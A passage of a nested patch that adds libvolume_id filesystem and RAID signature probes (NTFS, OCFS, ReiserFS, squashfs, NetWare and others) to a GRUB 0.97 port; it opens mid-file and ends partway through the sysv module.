++#define NW_SUPERBLOCK_OFFSET			0x1000
++
++struct netware_super_block {
++	uint8_t		SBH_Signature[4];
++	uint16_t	SBH_VersionMajor;
++	uint16_t	SBH_VersionMinor;
++	uint16_t	SBH_VersionMediaMajor;
++	uint16_t	SBH_VersionMediaMinor;
++	uint32_t	SBH_ItemsMoved;
++	uint8_t		SBH_InternalID[16];
++	uint32_t	SBH_PackedSize;
++	uint32_t	SBH_Checksum;
++	uint32_t	supersyncid;
++	int64_t		superlocation[4];
++	uint32_t	physSizeUsed;
++	uint32_t	sizeUsed;
++	uint32_t	superTimeStamp;
++	uint32_t	reserved0[1];
++	int64_t		SBH_LoggedPoolDataBlk;
++	int64_t		SBH_PoolDataBlk;
++	uint8_t		SBH_OldInternalID[16];
++	uint32_t	SBH_PoolToLVStartUTC;
++	uint32_t	SBH_PoolToLVEndUTC;
++	uint16_t	SBH_VersionMediaMajorCreate;
++	uint16_t	SBH_VersionMediaMinorCreate;
++	uint32_t	SBH_BlocksMoved;
++	uint32_t	SBH_TempBTSpBlk;
++	uint32_t	SBH_TempFTSpBlk;
++	uint32_t	SBH_TempFTSpBlk1;
++	uint32_t	SBH_TempFTSpBlk2;
++	uint32_t 	nssMagicNumber;
++	uint32_t	poolClassID;
++	uint32_t 	poolID;
++	uint32_t	createTime;
++	int64_t		SBH_LoggedVolumeDataBlk;
++	int64_t		SBH_VolumeDataBlk;
++	int64_t		SBH_SystemBeastBlkNum;
++	uint64_t	totalblocks;
++	uint16_t 	SBH_Name[64];
++	uint8_t		SBH_VolumeID[16];
++	uint8_t		SBH_PoolID[16];
++	uint8_t		SBH_PoolInternalID[16];
++	uint64_t	SBH_Lsn;
++	uint32_t	SBH_SS_Enabled;
++	uint32_t	SBH_SS_CreateTime;
++	uint8_t		SBH_SS_OriginalPoolID[16];
++	uint8_t		SBH_SS_OriginalVolumeID[16];
++	uint8_t		SBH_SS_Guid[16];
++	uint16_t	SBH_SS_OriginalName[64];
++	uint32_t	reserved2[64-(2+46)];
++} PACKED;
++
++int volume_id_probe_netware(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct netware_super_block *nw;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	nw = (struct netware_super_block *) volume_id_get_buffer(id, off + NW_SUPERBLOCK_OFFSET, 0x200);
++	if (nw == NULL)
++		return -1;
++
++	if (memcmp((char *)nw->SBH_Signature, "SPB5", 4) != 0)
++		return -1;
++
++	volume_id_set_uuid(id, nw->SBH_PoolID, 0, UUID_DCE);
++
++	sprintf(id->type_version, "%u.%02u",
++		 le16_to_cpu(nw->SBH_VersionMediaMajor), le16_to_cpu(nw->SBH_VersionMediaMinor));
++
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "nss";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/ntfs.c'
+--- grub-0.97.orig/libvolume_id/ntfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/ntfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,192 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++static struct ntfs_super_block {
++	uint8_t		jump[3];
++	uint8_t		oem_id[8];
++	uint16_t	bytes_per_sector;
++	uint8_t		sectors_per_cluster;
++	uint16_t	reserved_sectors;
++	uint8_t		fats;
++	uint16_t	root_entries;
++	uint16_t	sectors;
++	uint8_t		media_type;
++	uint16_t	sectors_per_fat;
++	uint16_t	sectors_per_track;
++	uint16_t	heads;
++	uint32_t	hidden_sectors;
++	uint32_t	large_sectors;
++	uint16_t	unused[2];
++	uint64_t	number_of_sectors;
++	uint64_t	mft_cluster_location;
++	uint64_t	mft_mirror_cluster_location;
++	int8_t		cluster_per_mft_record;
++	uint8_t		reserved1[3];
++	int8_t		cluster_per_index_record;
++	uint8_t		reserved2[3];
++	uint8_t		volume_serial[8];
++	uint16_t	checksum;
++} PACKED *ns;
++
++static struct master_file_table_record {
++	uint8_t		magic[4];
++	uint16_t	usa_ofs;
++	uint16_t	usa_count;
++	uint64_t	lsn;
++	uint16_t	sequence_number;
++	uint16_t	link_count;
++	uint16_t	attrs_offset;
++	uint16_t	flags;
++	uint32_t	bytes_in_use;
++	uint32_t	bytes_allocated;
++} PACKED *mftr;
++
++static struct file_attribute {
++	uint32_t	type;
++	uint32_t	len;
++	uint8_t		non_resident;
++	uint8_t		name_len;
++	uint16_t	name_offset;
++	uint16_t	flags;
++	uint16_t	instance;
++	uint32_t	value_len;
++	uint16_t	value_offset;
++} PACKED *attr;
++
++static struct volume_info {
++	uint64_t	reserved;
++	uint8_t		major_ver;
++	uint8_t		minor_ver;
++} PACKED *info;
++
++#define MFT_RECORD_VOLUME			3
++#define MFT_RECORD_ATTR_VOLUME_NAME		0x60
++#define MFT_RECORD_ATTR_VOLUME_INFO		0x70
++#define MFT_RECORD_ATTR_OBJECT_ID		0x40
++#define MFT_RECORD_ATTR_END			0xffffffffu
++
++#undef debug
++#define debug grub_printf
++
++int volume_id_probe_ntfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	unsigned int sector_size;
++	unsigned int cluster_size;
++	uint64_t mft_cluster;
++	uint64_t mft_off;
++	unsigned int mft_record_size;
++	unsigned int attr_type;
++	unsigned int attr_off;
++	unsigned int attr_len;
++	unsigned int val_off;
++	unsigned int val_len;
++	const uint8_t *buf;
++	const uint8_t *val;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	ns = (struct ntfs_super_block *) volume_id_get_buffer(id, off, 0x200);
++	if (ns == NULL)
++		return -1;
++
++	if (memcmp((char *)ns->oem_id, "NTFS", 4) != 0)
++		return -1;
++
++	volume_id_set_uuid(id, ns->volume_serial, 0, UUID_64BIT_LE);
++
++	sector_size = le16_to_cpu(ns->bytes_per_sector);
++	if (sector_size < 0x200)
++		return -1;
++
++	cluster_size = ns->sectors_per_cluster * sector_size;
++	mft_cluster = le64_to_cpu(ns->mft_cluster_location);
++	mft_off = mft_cluster * cluster_size;
++
++	if (ns->cluster_per_mft_record < 0)
++		/* size = -log2(mft_record_size); normally 1024 Bytes */
++		mft_record_size = 1 << -ns->cluster_per_mft_record;
++	else
++		mft_record_size = ns->cluster_per_mft_record * cluster_size;
++
++	dbg("sectorsize  0x%x", sector_size);
++	dbg("clustersize 0x%x", cluster_size);
++	dbg("mftcluster  %llu", (unsigned long long) mft_cluster);
++	dbg("mftoffset  0x%llx", (unsigned long long) mft_off);
++	dbg("cluster per mft_record  %i", ns->cluster_per_mft_record);
++	dbg("mft record size  %i", mft_record_size);
++
++	buf = volume_id_get_buffer(id, off + mft_off + (MFT_RECORD_VOLUME * mft_record_size),
++			 mft_record_size);
++	if (buf == NULL)
++		return -1;
++
++	mftr = (struct master_file_table_record*) buf;
++	dbg("mftr->magic '%c%c%c%c'", mftr->magic[0], mftr->magic[1], mftr->magic[2], mftr->magic[3]);
++	if (memcmp((char *)mftr->magic, "FILE", 4) != 0)
++		return -1;
++
++	attr_off = le16_to_cpu(mftr->attrs_offset);
++	dbg("file $Volume's attributes are at offset %i", attr_off);
++
++	while (1) {
++		attr = (struct file_attribute*) &buf[attr_off];
++		attr_type = le32_to_cpu(attr->type);
++		attr_len = le16_to_cpu(attr->len);
++		val_off = le16_to_cpu(attr->value_offset);
++		val_len = le32_to_cpu(attr->value_len);
++		attr_off += attr_len;
++
++		if (attr_len == 0)
++			break;
++
++		if (attr_off >= mft_record_size)
++			break;
++
++		if (attr_type == MFT_RECORD_ATTR_END)
++			break;
++
++		dbg("found attribute type 0x%x, len %i, at offset %i",
++		    attr_type, attr_len, attr_off);
++
++		if (attr_type == MFT_RECORD_ATTR_VOLUME_INFO) {
++			dbg("found info, len %i", val_len);
++			info = (struct volume_info*) (((uint8_t *) attr) + val_off);
++			sprintf(id->type_version, "%u.%u", info->major_ver, info->minor_ver);
++		}
++
++		if (attr_type == MFT_RECORD_ATTR_VOLUME_NAME) {
++			dbg("found label, len %i", val_len);
++			if (val_len > VOLUME_ID_LABEL_SIZE)
++				val_len = VOLUME_ID_LABEL_SIZE;
++
++			val = ((uint8_t *) attr) + val_off;
++			volume_id_set_label_raw(id, val, val_len);
++			volume_id_set_label_unicode16(id, val, LE, val_len);
++		}
++	}
++
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "ntfs";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/nvidia_raid.c'
+--- grub-0.97.orig/libvolume_id/nvidia_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/nvidia_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,59 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct nvidia_meta {
++	uint8_t		vendor[8];
++	uint32_t	size;
++	uint32_t	chksum;
++	uint16_t	version;
++} PACKED;
++
++#define NVIDIA_SIGNATURE		"NVIDIA"
++
++int volume_id_probe_nvidia_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	uint64_t meta_off;
++	struct nvidia_meta *nv;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-2) * 0x200;
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	nv = (struct nvidia_meta *) buf;
++	if (memcmp((char *)nv->vendor, NVIDIA_SIGNATURE, sizeof(NVIDIA_SIGNATURE)-1) != 0)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	sprintf(id->type_version, "%u", le16_to_cpu(nv->version));
++	id->type = "nvidia_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/ocfs.c'
+--- grub-0.97.orig/libvolume_id/ocfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/ocfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,186 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Andre Masella <andre@masella.no-ip.org>
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct ocfs1_super_block_header {
++	uint32_t	minor_version;
++	uint32_t	major_version;
++	uint8_t		signature[128];
++	uint8_t		mount_point[128];
++	uint64_t	serial_num;
++	uint64_t	device_size;
++	uint64_t	start_off;
++	uint64_t	bitmap_off;
++	uint64_t	publ_off;
++	uint64_t	vote_off;
++	uint64_t	root_bitmap_off;
++	uint64_t	data_start_off;
++	uint64_t	root_bitmap_size;
++	uint64_t	root_off;
++	uint64_t	root_size;
++	uint64_t	cluster_size;
++	uint64_t	num_nodes;
++	uint64_t	num_clusters;
++	uint64_t	dir_node_size;
++	uint64_t	file_node_size;
++	uint64_t	internal_off;
++	uint64_t	node_cfg_off;
++	uint64_t	node_cfg_size;
++	uint64_t	new_cfg_off;
++	uint32_t	prot_bits;
++	int32_t		excl_mount;
++} PACKED;
++
++struct ocfs1_super_block_label {
++	struct ocfs1_disk_lock {
++		uint32_t	curr_master;
++		uint8_t		file_lock;
++		uint8_t		compat_pad[3];
++		uint64_t	last_write_time;
++		uint64_t	last_read_time;
++		uint32_t	writer_node_num;
++		uint32_t	reader_node_num;
++		uint64_t	oin_node_map;
++		uint64_t	dlock_seq_num;
++	} PACKED disk_lock;
++	uint8_t		label[64];
++	uint16_t	label_len;
++	uint8_t		vol_id[16];
++	uint16_t	vol_id_len;
++	uint8_t		cluster_name[64];
++	uint16_t	cluster_name_len;
++} PACKED;
++
++struct ocfs2_super_block {
++	uint8_t		i_signature[8];
++	uint32_t	i_generation;
++	int16_t		i_suballoc_slot;
++	uint16_t	i_suballoc_bit;
++	uint32_t	i_reserved0;
++	uint32_t	i_clusters;
++	uint32_t	i_uid;
++	uint32_t	i_gid;
++	uint64_t	i_size;
++	uint16_t	i_mode;
++	uint16_t	i_links_count;
++	uint32_t	i_flags;
++	uint64_t	i_atime;
++	uint64_t	i_ctime;
++	uint64_t	i_mtime;
++	uint64_t	i_dtime;
++	uint64_t	i_blkno;
++	uint64_t	i_last_eb_blk;
++	uint32_t	i_fs_generation;
++	uint32_t	i_atime_nsec;
++	uint32_t	i_ctime_nsec;
++	uint32_t	i_mtime_nsec;
++	uint64_t	i_reserved1[9];
++	uint64_t	i_pad1;
++	uint16_t	s_major_rev_level;
++	uint16_t	s_minor_rev_level;
++	uint16_t	s_mnt_count;
++	int16_t		s_max_mnt_count;
++	uint16_t	s_state;
++	uint16_t	s_errors;
++	uint32_t	s_checkinterval;
++	uint64_t	s_lastcheck;
++	uint32_t	s_creator_os;
++	uint32_t	s_feature_compat;
++	uint32_t	s_feature_incompat;
++	uint32_t	s_feature_ro_compat;
++	uint64_t	s_root_blkno;
++	uint64_t	s_system_dir_blkno;
++	uint32_t	s_blocksize_bits;
++	uint32_t	s_clustersize_bits;
++	uint16_t	s_max_slots;
++	uint16_t	s_reserved1;
++	uint32_t	s_reserved2;
++	uint64_t	s_first_cluster_group;
++	uint8_t		s_label[64];
++	uint8_t		s_uuid[16];
++} PACKED;
++
++int volume_id_probe_ocfs1(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	struct ocfs1_super_block_header *osh;
++	struct ocfs1_super_block_label *osl;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	osh = (struct ocfs1_super_block_header *) buf;
++	if (memcmp((char *)osh->signature, "OracleCFS", 9) != 0)
++		return -1;
++	sprintf(id->type_version, "%u.%u", osh->major_version, osh->minor_version);
++
++	dbg("found OracleCFS signature, now reading label");
++	buf = volume_id_get_buffer(id, off + 0x200, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	osl = (struct ocfs1_super_block_label *) buf;
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	if (osl->label_len <= 64) {
++		volume_id_set_label_raw(id, osl->label, 64);
++		volume_id_set_label_string(id, osl->label, 64);
++	}
++	if (osl->vol_id_len == 16)
++		volume_id_set_uuid(id, osl->vol_id, 0, UUID_DCE);
++	id->type = "ocfs";
++	return 0;
++}
++
++#define OCFS2_MAX_BLOCKSIZE		0x1000
++#define OCFS2_SUPER_BLOCK_BLKNO		2
++
++int volume_id_probe_ocfs2(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	struct ocfs2_super_block *os;
++	size_t blksize;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	for (blksize = 0x200; blksize <= OCFS2_MAX_BLOCKSIZE; blksize <<= 1) {
++		buf = volume_id_get_buffer(id, off + OCFS2_SUPER_BLOCK_BLKNO * blksize, 0x200);
++		if (buf == NULL)
++			return -1;
++
++		os = (struct ocfs2_super_block *) buf;
++		if (memcmp((char *)os->i_signature, "OCFSV2", 6) != 0)
++			continue;
++
++		volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++		volume_id_set_label_raw(id, os->s_label, 64);
++		volume_id_set_label_string(id, os->s_label, 64);
++		volume_id_set_uuid(id, os->s_uuid, 0, UUID_DCE);
++		sprintf(id->type_version, "%u.%u", os->s_major_rev_level, os->s_minor_rev_level);
++		id->type = "ocfs2";
++		return 0;
++	}
++	return -1;
++}
+
+=== added file 'libvolume_id/promise_raid.c'
+--- grub-0.97.orig/libvolume_id/promise_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/promise_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,65 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct promise_meta {
++	uint8_t	sig[24];
++} PACKED;
++
++#define PDC_CONFIG_OFF		0x1200
++#define PDC_SIGNATURE		"Promise Technology, Inc."
++
++int volume_id_probe_promise_fasttrack_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	struct promise_meta *pdc;
++	unsigned int i;
++	static unsigned int sectors[] = {
++		63, 255, 256, 16, 399, 0
++	};
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x40000)
++		return -1;
++
++	for (i = 0; sectors[i] != 0; i++) {
++		uint64_t meta_off;
++
++		meta_off = ((size / 0x200) - sectors[i]) * 0x200;
++		buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++		if (buf == NULL)
++			return -1;
++
++		pdc = (struct promise_meta *) buf;
++		if (memcmp((char *)pdc->sig, PDC_SIGNATURE, sizeof(PDC_SIGNATURE)-1) == 0)
++			goto found;
++	}
++	return -1;
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "promise_fasttrack_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/reiserfs.c'
+--- grub-0.97.orig/libvolume_id/reiserfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/reiserfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,113 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Copyright (C) 2005 Tobias Klauser <tklauser@access.unizh.ch>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct reiserfs_super_block {
++	uint32_t	blocks_count;
++	uint32_t	free_blocks;
++	uint32_t	root_block;
++	uint32_t	journal_block;
++	uint32_t	journal_dev;
++	uint32_t	orig_journal_size;
++	uint32_t	dummy2[5];
++	uint16_t	blocksize;
++	uint16_t	dummy3[3];
++	uint8_t		magic[12];
++	uint32_t	dummy4[5];
++	uint8_t		uuid[16];
++	uint8_t		label[16];
++} PACKED;
++
++struct reiser4_super_block {
++	uint8_t		magic[16];
++	uint16_t	dummy[2];
++	uint8_t		uuid[16];
++	uint8_t		label[16];
++	uint64_t	dummy2;
++} PACKED;
++
++#define REISERFS1_SUPERBLOCK_OFFSET		0x2000
++#define REISERFS_SUPERBLOCK_OFFSET		0x10000
++
++int volume_id_probe_reiserfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct reiserfs_super_block *rs;
++	struct reiser4_super_block *rs4;
++	uint8_t	 *buf;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off + REISERFS_SUPERBLOCK_OFFSET, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	rs = (struct reiserfs_super_block *) buf;
++	if (memcmp((char *)rs->magic, "ReIsErFs", 8) == 0) {
++		strcpy(id->type_version, "3.5");
++		id->type = "reiserfs";
++		goto found;
++	}
++	if (memcmp((char *)rs->magic, "ReIsEr2Fs", 9) == 0) {
++		strcpy(id->type_version, "3.6");
++		id->type = "reiserfs";
++		goto found_label;
++	}
++	if (memcmp((char *)rs->magic, "ReIsEr3Fs", 9) == 0) {
++		strcpy(id->type_version, "JR");
++		id->type = "reiserfs";
++		goto found_label;
++	}
++
++	rs4 = (struct reiser4_super_block *) buf;
++	if (memcmp((char *)rs4->magic, "ReIsEr4", 7) == 0) {
++		strcpy(id->type_version, "4");
++		volume_id_set_label_raw(id, rs4->label, 16);
++		volume_id_set_label_string(id, rs4->label, 16);
++		volume_id_set_uuid(id, rs4->uuid, 0, UUID_DCE);
++		id->type = "reiser4";
++		goto found;
++	}
++
++	buf = volume_id_get_buffer(id, off + REISERFS1_SUPERBLOCK_OFFSET, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	rs = (struct reiserfs_super_block *) buf;
++	if (memcmp((char *)rs->magic, "ReIsErFs", 8) == 0) {
++		strcpy(id->type_version, "3.5");
++		id->type = "reiserfs";
++		goto found;
++	}
++
++	return -1;
++
++found_label:
++	volume_id_set_label_raw(id, rs->label, 16);
++	volume_id_set_label_string(id, rs->label, 16);
++	volume_id_set_uuid(id, rs->uuid, 0, UUID_DCE);
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++
++	return 0;
++}
+
+=== added file 'libvolume_id/romfs.c'
+--- grub-0.97.orig/libvolume_id/romfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/romfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,55 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct romfs_super {
++	uint8_t magic[8];
++	uint32_t size;
++	uint32_t checksum;
++	uint8_t name[0];
++} PACKED;
++
++int volume_id_probe_romfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct romfs_super *rfs;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	rfs = (struct romfs_super *) volume_id_get_buffer(id, off, 0x200);
++	if (rfs == NULL)
++		return -1;
++
++	if (memcmp((char *)rfs->magic, "-rom1fs-", 4) == 0) {
++		size_t len = strlen((char *)rfs->name);
++
++		if (len) {
++			volume_id_set_label_raw(id, rfs->name, len);
++			volume_id_set_label_string(id, rfs->name, len);
++		}
++
++		volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++		id->type = "romfs";
++		return 0;
++	}
++
++	return -1;
++}
+
+=== added file 'libvolume_id/silicon_raid.c'
+--- grub-0.97.orig/libvolume_id/silicon_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/silicon_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,71 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct silicon_meta {
++	uint8_t		unknown0[0x2E];
++	uint8_t		ascii_version[0x36 - 0x2E];
++	uint8_t		diskname[0x56 - 0x36];
++	uint8_t		unknown1[0x60 - 0x56];
++	uint32_t	magic;
++	uint32_t	unknown1a[0x6C - 0x64];
++	uint32_t	array_sectors_low;
++	uint32_t	array_sectors_high;
++	uint8_t		unknown2[0x78 - 0x74];
++	uint32_t	thisdisk_sectors;
++	uint8_t		unknown3[0x100 - 0x7C];
++	uint8_t		unknown4[0x104 - 0x100];
++	uint16_t	product_id;
++	uint16_t	vendor_id;
++	uint16_t	minor_ver;
++	uint16_t	major_ver;
++} PACKED;
++
++#define SILICON_MAGIC		0x2F000000
++
++int volume_id_probe_silicon_medley_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	uint64_t meta_off;
++	struct silicon_meta *sil;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-1) * 0x200;
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	sil = (struct silicon_meta *) buf;
++	if (le32_to_cpu(sil->magic) != SILICON_MAGIC)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	sprintf(id->type_version, "%u.%u", le16_to_cpu(sil->major_ver), le16_to_cpu(sil->minor_ver));
++	id->type = "silicon_medley_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/squashfs.c'
+--- grub-0.97.orig/libvolume_id/squashfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/squashfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,63 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2006 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++#define SQUASHFS_MAGIC		0x73717368
++
++struct squashfs_super {
++	uint32_t	s_magic;
++	uint32_t	inodes;
++	uint32_t	bytes_used_2;
++	uint32_t	uid_start_2;
++	uint32_t	guid_start_2;
++	uint32_t	inode_table_start_2;
++	uint32_t	directory_table_start_2;
++	uint16_t	s_major;
++	uint16_t	s_minor;
++} PACKED;
++
++int volume_id_probe_squashfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct squashfs_super *sqs;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	sqs = (struct squashfs_super *) volume_id_get_buffer(id, off, 0x200);
++	if (sqs == NULL)
++		return -1;
++
++	if (sqs->s_magic == SQUASHFS_MAGIC) {
++		sprintf(id->type_version, "%u.%u", sqs->s_major, sqs->s_minor);
++		goto found;
++	}
++	if (sqs->s_magic == bswap_32(SQUASHFS_MAGIC)) {
++		sprintf(id->type_version, "%u.%u", bswap_16(sqs->s_major), bswap_16(sqs->s_minor));
++		goto found;
++	}
++
++	return -1;
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "squashfs";
++	return 0;
++}
+
+=== added file 'libvolume_id/strfuncs.h'
+--- grub-0.97.orig/libvolume_id/strfuncs.h	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/strfuncs.h	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,5 @@
++
++#include <stdlib.h>
++
++size_t strnlen(const char *s, size_t limit);
++char  *strchr (const char *s, int c);
+
+=== added file 'libvolume_id/sysv.c'
+--- grub-0.97.orig/libvolume_id/sysv.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/sysv.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,128 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++#define SYSV_NICINOD			100
++#define SYSV_NICFREE			50
++
++struct sysv_super
++{
++	uint16_t	s_isize;
++	uint16_t	s_pad0;
++	uint32_t	s_fsize;
++	uint16_t	s_nfree;
++	uint16_t	s_pad1;
++	uint32_t	s_free[SYSV_NICFREE];
++	uint16_t	s_ninode;
++	uint16_t	s_pad2;
